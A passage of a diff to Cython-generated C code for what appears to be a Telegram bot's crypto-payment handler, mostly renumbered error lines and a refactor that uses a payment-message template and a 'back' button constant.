__pyx_L17_error); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 148, __pyx_L17_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 149, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_6 = PyTuple_New(3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 148, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_6); - __pyx_t_3 = 0; - __pyx_t_20 = 127; - __Pyx_INCREF(__pyx_kp_u__13); - __pyx_t_20 = (65535 > __pyx_t_20) ? 65535 : __pyx_t_20; - __pyx_t_3 += 25; - __Pyx_GIVEREF(__pyx_kp_u__13); - PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_kp_u__13); - __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 148, __pyx_L17_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 149, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_format); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 149, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_20 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_20) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_20; - __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5); - __Pyx_GIVEREF(__pyx_t_5); - PyTuple_SET_ITEM(__pyx_t_6, 1, __pyx_t_5); - __pyx_t_5 = 0; - __Pyx_INCREF(__pyx_kp_u__14); - __pyx_t_20 = (65535 > __pyx_t_20) ? 65535 : __pyx_t_20; - __pyx_t_3 += 8; - __Pyx_GIVEREF(__pyx_kp_u__14); - PyTuple_SET_ITEM(__pyx_t_6, 2, __pyx_kp_u__14); - __pyx_t_5 = __Pyx_PyUnicode_Join(__pyx_t_6, 3, __pyx_t_3, __pyx_t_20); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 148, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_5) < 0) __PYX_ERR(0, 148, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 149, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_9); + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 149, __pyx_L17_error) + __pyx_t_12 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 149, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_12) < 0) __PYX_ERR(0, 149, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 149, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_6); - __pyx_t_12 = NULL; + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 150, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_5 = NULL; __pyx_t_11 = 0; #if CYTHON_UNPACK_METHODS - if (likely(PyMethod_Check(__pyx_t_6))) { - __pyx_t_12 = PyMethod_GET_SELF(__pyx_t_6); - if (likely(__pyx_t_12)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); - __Pyx_INCREF(__pyx_t_12); + if (likely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_6, function); + __Pyx_DECREF_SET(__pyx_t_9, function); __pyx_t_11 = 1; } } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_12, NULL}; - __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_11, 0+__pyx_t_11); - __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 149, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + PyObject *__pyx_callargs[2] = {__pyx_t_5, NULL}; + __pyx_t_12 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_11, 0+__pyx_t_11); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 150, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_t_5) < 0) __PYX_ERR(0, 148, __pyx_L17_error) - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_t_12) < 0) __PYX_ERR(0, 149, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_1, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 146, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_12 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_1, __pyx_t_2); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 147, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_5); - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_12); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_XGOTREF(__pyx_r); if (likely(__pyx_r)) { __Pyx_XGIVEREF(__pyx_t_13); @@ -5969,12 +5954,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __pyx_t_15 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_15); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 146, __pyx_L17_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 147, __pyx_L17_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 146, __pyx_L17_error) + else __PYX_ERR(0, 147, __pyx_L17_error) } } @@ -5982,13 +5967,13 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ } /*else*/ { - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 152, __pyx_L17_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 153, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 153, __pyx_L17_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 154, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 155, __pyx_L17_error) + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 156, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_17 = NULL; __pyx_t_11 = 0; @@ -6006,25 +5991,28 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ #endif { PyObject *__pyx_callargs[2] = {__pyx_t_17, NULL}; - __pyx_t_12 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_11, 0+__pyx_t_11); + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_11, 0+__pyx_t_11); __Pyx_XDECREF(__pyx_t_17); __pyx_t_17 = 0; - if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 155, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_12); + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 156, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } - __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_12, __pyx_n_s_row); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 156, __pyx_L17_error) + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_row); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 157, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_7); - __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 156, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_12); - __pyx_t_17 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 156, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 157, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_17 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 157, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_17); - if (PyDict_SetItem(__pyx_t_17, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 156, __pyx_L17_error) - if (PyDict_SetItem(__pyx_t_17, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 156, __pyx_L17_error) - __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_12, __pyx_empty_tuple, __pyx_t_17); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 156, __pyx_L17_error) + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_BACK); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 157, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_10); - __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_17, __pyx_n_s_text, __pyx_t_10) < 0) __PYX_ERR(0, 157, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_17, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 157, __pyx_L17_error) + __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_17); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 157, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; __pyx_t_17 = NULL; __pyx_t_11 = 0; @@ -6042,25 +6030,25 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ #endif { PyObject *__pyx_callargs[2] = {__pyx_t_17, __pyx_t_10}; - __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_11, 1+__pyx_t_11); + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_11, 1+__pyx_t_11); __Pyx_XDECREF(__pyx_t_17); __pyx_t_17 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 156, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_6); + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 157, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } - __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 157, __pyx_L17_error) + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 158, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_7); - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = NULL; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = NULL; __pyx_t_11 = 0; #if CYTHON_UNPACK_METHODS if (likely(PyMethod_Check(__pyx_t_7))) { - __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_7); - if (likely(__pyx_t_6)) { + __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); - __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); __pyx_t_11 = 1; @@ -6068,11 +6056,11 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_6, NULL}; - __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_11, 0+__pyx_t_11); - __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 157, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_9); + PyObject *__pyx_callargs[2] = {__pyx_t_9, NULL}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_11, 0+__pyx_t_11); + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 158, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } __pyx_t_7 = NULL; @@ -6090,17 +6078,17 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ } #endif { - PyObject *__pyx_callargs[4] = {__pyx_t_7, __pyx_t_1, __pyx_kp_u__15, __pyx_t_9}; - __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_11, 3+__pyx_t_11); + PyObject *__pyx_callargs[4] = {__pyx_t_7, __pyx_t_1, __pyx_kp_u__9, __pyx_t_6}; + __pyx_t_12 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_11, 3+__pyx_t_11); __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 152, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 153, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_5); - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_12); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_XGOTREF(__pyx_r); if (likely(__pyx_r)) { __Pyx_XGIVEREF(__pyx_t_13); @@ -6125,12 +6113,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __pyx_t_15 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_15); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 152, __pyx_L17_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 153, __pyx_L17_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 152, __pyx_L17_error) + else __PYX_ERR(0, 153, __pyx_L17_error) } } } @@ -6158,57 +6146,57 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __pyx_t_16 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_16) { __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_5, &__pyx_t_2, &__pyx_t_9) < 0) __PYX_ERR(0, 159, __pyx_L19_except_error) - __Pyx_XGOTREF(__pyx_t_5); + if (__Pyx_GetException(&__pyx_t_12, &__pyx_t_2, &__pyx_t_6) < 0) __PYX_ERR(0, 160, __pyx_L19_except_error) + __Pyx_XGOTREF(__pyx_t_12); __Pyx_XGOTREF(__pyx_t_2); - __Pyx_XGOTREF(__pyx_t_9); + __Pyx_XGOTREF(__pyx_t_6); __Pyx_INCREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_2); __pyx_cur_scope->__pyx_v_e = __pyx_t_2; /*try:*/ { - __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_logger); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 160, __pyx_L32_error) + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_logger); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 161, __pyx_L32_error) __Pyx_GOTREF(__pyx_t_7); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_error); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 160, __pyx_L32_error) - __Pyx_GOTREF(__pyx_t_6); + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_error); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 161, __pyx_L32_error) + __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - __pyx_t_7 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 160, __pyx_L32_error) + __pyx_t_7 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 161, __pyx_L32_error) __Pyx_GOTREF(__pyx_t_7); - __pyx_t_10 = __Pyx_PyUnicode_Concat(__pyx_kp_u__16, __pyx_t_7); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 160, __pyx_L32_error) + __pyx_t_10 = __Pyx_PyUnicode_Concat(__pyx_kp_u__10, __pyx_t_7); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 161, __pyx_L32_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; __pyx_t_11 = 0; #if CYTHON_UNPACK_METHODS - if (unlikely(PyMethod_Check(__pyx_t_6))) { - __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); + if (unlikely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_7)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_6, function); + __Pyx_DECREF_SET(__pyx_t_9, function); __pyx_t_11 = 1; } } #endif { PyObject *__pyx_callargs[2] = {__pyx_t_7, __pyx_t_10}; - __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_11, 1+__pyx_t_11); + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_11, 1+__pyx_t_11); __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 160, __pyx_L32_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 161, __pyx_L32_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 161, __pyx_L32_error) - __Pyx_GOTREF(__pyx_t_6); + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 162, __pyx_L32_error) + __Pyx_GOTREF(__pyx_t_9); - __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 162, __pyx_L32_error) + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 163, __pyx_L32_error) __Pyx_GOTREF(__pyx_t_10); - __Pyx_GetModuleGlobalName(__pyx_t_19, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 164, __pyx_L32_error) + __Pyx_GetModuleGlobalName(__pyx_t_19, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 165, __pyx_L32_error) __Pyx_GOTREF(__pyx_t_19); __pyx_t_18 = NULL; __pyx_t_11 = 0; @@ -6226,25 +6214,28 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ #endif { PyObject *__pyx_callargs[2] = {__pyx_t_18, NULL}; - __pyx_t_12 = __Pyx_PyObject_FastCall(__pyx_t_19, __pyx_callargs+1-__pyx_t_11, 0+__pyx_t_11); + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_19, __pyx_callargs+1-__pyx_t_11, 0+__pyx_t_11); __Pyx_XDECREF(__pyx_t_18); __pyx_t_18 = 0; - if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 164, __pyx_L32_error) - __Pyx_GOTREF(__pyx_t_12); + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 165, __pyx_L32_error) + __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; } - __pyx_t_19 = __Pyx_PyObject_GetAttrStr(__pyx_t_12, __pyx_n_s_row); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 165, __pyx_L32_error) + __pyx_t_19 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_row); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 166, __pyx_L32_error) __Pyx_GOTREF(__pyx_t_19); - __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 165, __pyx_L32_error) - __Pyx_GOTREF(__pyx_t_12); - __pyx_t_18 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_18)) __PYX_ERR(0, 165, __pyx_L32_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 166, __pyx_L32_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_18 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_18)) __PYX_ERR(0, 166, __pyx_L32_error) __Pyx_GOTREF(__pyx_t_18); - if (PyDict_SetItem(__pyx_t_18, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 165, __pyx_L32_error) - if (PyDict_SetItem(__pyx_t_18, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 165, __pyx_L32_error) - __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_12, __pyx_empty_tuple, __pyx_t_18); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 165, __pyx_L32_error) + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_BACK); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 166, __pyx_L32_error) __Pyx_GOTREF(__pyx_t_8); - __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_18, __pyx_n_s_text, __pyx_t_8) < 0) __PYX_ERR(0, 166, __pyx_L32_error) + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (PyDict_SetItem(__pyx_t_18, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 166, __pyx_L32_error) + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_18); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 166, __pyx_L32_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_18); __pyx_t_18 = 0; __pyx_t_18 = NULL; __pyx_t_11 = 0; @@ -6265,12 +6256,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __pyx_t_17 = __Pyx_PyObject_FastCall(__pyx_t_19, __pyx_callargs+1-__pyx_t_11, 1+__pyx_t_11); __Pyx_XDECREF(__pyx_t_18); __pyx_t_18 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 165, __pyx_L32_error) + if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 166, __pyx_L32_error) __Pyx_GOTREF(__pyx_t_17); __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; } - __pyx_t_19 = __Pyx_PyObject_GetAttrStr(__pyx_t_17, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 166, __pyx_L32_error) + __pyx_t_19 = __Pyx_PyObject_GetAttrStr(__pyx_t_17, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 167, __pyx_L32_error) __Pyx_GOTREF(__pyx_t_19); __Pyx_DECREF(__pyx_t_17); 